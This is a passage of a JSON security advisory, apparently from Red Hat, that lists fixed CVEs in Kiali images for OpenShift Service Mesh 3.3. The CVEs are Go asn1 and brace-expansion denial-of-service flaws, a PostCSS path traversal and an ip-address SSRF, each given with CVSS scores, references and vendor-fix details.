          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-33818"
        },
        {
          "category": "external",
          "summary": "RHBZ#2515815",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-33818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-33818",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33818"
        },
        {
          "category": "external",
          "summary": "https://go.dev/cl/814980",
          "url": "https://go.dev/cl/814980"
        },
        {
          "category": "external",
          "summary": "https://go.dev/issue/80405",
          "url": "https://go.dev/issue/80405"
        },
        {
          "category": "external",
          "summary": "https://groups.google.com/g/golang-announce/c/94pEornpRlI",
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "category": "external",
          "summary": "https://pkg.go.dev/vuln/GO-2026-5972",
          "url": "https://pkg.go.dev/vuln/GO-2026-5972"
        }
      ],
      "release_date": "2026-08-13T21:58:52.821000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal"
    },
    {
      "cve": "CVE-2026-45149",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-05-29T21:02:00.092772+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2483481"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the brace-expansion library. This vulnerability allows an attacker to cause a Denial of Service (DoS) by providing a large numeric range for expansion. The library allocates excessive memory to generate all intermediate elements before applying the maximum limit, leading to high memory consumption and potential application crashes. This can impact the availability of systems using the library.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "brace-expansion: brace-expansion: Denial of Service due to excessive memory allocation when expanding large numeric ranges",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Red Hat products ship brace-expansion versions 1.x and 2.x, which are not affected by this vulnerability. The flaw exists only in versions 5.0.0 through 5.0.5.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-45149"
        },
        {
          "category": "external",
          "summary": "RHBZ#2483481",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2483481"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-45149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45149"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-45149",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45149"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2",
          "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2"
        }
      ],
      "release_date": "2026-05-29T19:55:07.337000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "brace-expansion: brace-expansion: Denial of Service due to excessive memory allocation when expanding large numeric ranges"
    },
    {
      "cve": "CVE-2026-45623",
      "cwe": {
        "id": "CWE-22",
        "name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
      },
      "discovery_date": "2026-07-27T18:01:09.671498+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507595"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in PostCSS, a tool that processes CSS files. An attacker who provides specially crafted CSS input containing a malicious source map comment can cause the system to read arbitrary files from the local filesystem. This can lead to the disclosure of sensitive information, specifically the first few bytes of file content. Additionally, this vulnerability may be exploited to cause a Denial of Service (DoS) by targeting large files, making the system unavailable.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "postcss: PostCSS: Information disclosure and denial of service via crafted CSS input",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-45623"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507595",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507595"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-45623",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45623"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-45623",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45623"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q",
          "url": "https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q"
        }
      ],
      "release_date": "2026-07-27T17:23:13.326000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "postcss: PostCSS: Information disclosure and denial of service via crafted CSS input"
    },
    {
      "cve": "CVE-2026-54272",
      "cwe": {
        "id": "CWE-918",
        "name": "Server-Side Request Forgery (SSRF)"
      },
      "discovery_date": "2026-07-27T18:01:01.261883+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2507593"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `ip-address` library. This library, used for parsing and manipulating IPv4 and IPv6 addresses in JavaScript, is vulnerable to Server-Side Request Forgery (SSRF) due to incorrect classification of IPv4-mapped/NAT64 IPv6 addresses. An attacker could exploit this misclassification to bypass network restrictions and potentially access or manipulate internal resources. This vulnerability can be exploited on any dual-stack host for IPv4-mapped addresses, and for NAT64, it requires a NAT64/DNS64 gateway in the deployment network.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "ip-address: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is a Moderate flaw where the `ip-address` JavaScript library incorrectly classifies IPv4-mapped or NAT64 IPv6 addresses. This misclassification can lead to Server-Side Request Forgery (SSRF), allowing an attacker to bypass intended network restrictions and access internal resources. Exploitation is possible on dual-stack hosts for IPv4-mapped addresses, while NAT64 exploitation requires a NAT64/DNS64 gateway.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-54272"
        },
        {
          "category": "external",
          "summary": "RHBZ#2507593",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2507593"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-54272",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54272"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-54272",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54272"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg",
          "url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg"
        }
      ],
      "release_date": "2026-07-27T17:13:09.244000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
